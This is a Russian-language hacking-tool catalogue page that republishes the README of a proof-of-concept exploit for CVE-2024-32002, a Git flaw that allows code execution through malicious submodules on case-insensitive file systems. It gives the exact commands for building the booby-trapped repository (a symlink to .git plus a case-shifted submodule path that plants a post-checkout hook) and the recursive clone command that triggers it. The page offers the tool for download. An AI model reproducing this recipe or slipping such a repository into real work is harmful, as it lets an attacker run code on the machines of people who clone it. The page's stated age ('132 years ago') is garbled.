Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2024-32002-poc-rce — Эксплойт proof-of-concept для CVE-2024-32002, демонстрирующий удалённое выполнение кода через вредоносные подмодули Git в файловых системах, нечувствительных к регистру символов. | Kitploit
Инструменты/GitHubGitHub/jakob-pennington/cve-2024-32002-poc-rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubjakob-pennington/cve-2024-32002-poc-rce

cve-2024-32002-poc-rce

Эксплойт proof-of-concept для CVE-2024-32002, демонстрирующий удалённое выполнение кода через вредоносные подмодули Git в файловых системах, нечувствительных к регистру символов.

Репозиторий
132 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-32002 RCE POC

POC для CVE-2024-32002, демонстрирующий удалённое выполнение кода (RCE).

См. cve-2024-32002-poc-rce для связанного репозитория подмодуля.

Что содержит этот репозиторий

  • Символическая ссылка с произвольным именем, указывающая на каталог .git.
  • Файл .gitmodules, определяющий вредоносный подмодуль.

Как воссоздать этот репозиторий

Этот репозиторий был создан в Linux (если точнее, в WSL2). Это важно: вредоносный репозиторий можно создать только в регистрозависимой файловой системе.

  1. Создайте символическую ссылку, используя все строчные символы
root@kitploit:~
ln -s .git submodule

Примечания:

  • Символическая ссылка должна указывать на папку .git, поскольку именно туда мы хотим записывать файлы
  • Имя символической ссылки (submodule) произвольное, но должно начинаться со строчной буквы
  • Это важно, потому что строчные символы сортируются раньше заглавных. Когда клонирующая машина запутается, куда записывать файлы подмодуля, мы хотим, чтобы она выбрала символическую ссылку, а не обычный каталог.
  1. Добавьте вредоносный подмодуль, обратив внимание на разницу в регистре в имени каталога подмодуля
root@kitploit:~
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce

Примечания:

  • Имя подмодуля ("rce/notexists") важно; оно будет играть роль при размещении нашего хука в подмодуле.
    • "rce" должно совпадать с последним сегментом пути подмодуля.
    • "notexists" должно совпадать с именем каталога, содержащего hooks/post-checkout в каталоге подмодуля. См. cve-2024-32002-poc-rce.
  • Структура пути подмодуля ("Submodule/modules/rce") тоже важна:
    • Первый сегмент пути подмодуля ("Submodule") должен соответствовать имени символической ссылки выше, отличаясь только регистром.
    • Второй сегмент ("modules") соответствует имени пути внутри каталога .git, который отслеживает статус git для подмодулей.
    • Третий сегмент ("rce") должен совпадать с первым сегментом имени подмодуля выше.

Как запустить POC

Эта уязвимость затрагивает только Windows и macOS, поскольку в обеих системах файловые системы не различают регистр символов.

  1. Проверьте, есть ли у вас уязвимая версия git. См. уведомление GitHub о затронутых версиях.
root@kitploit:~
git --version
  1. Подумайте, действительно ли вы осознанно хотите выполнить команду, которая может привести к RCE... Этот репозиторий безвреден, но вы уверены?
  2. Выполните следующую команду:
root@kitploit:~
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git
  1. Если POC сработал, вы сможете заняться вычислениями!
Скачать инструмент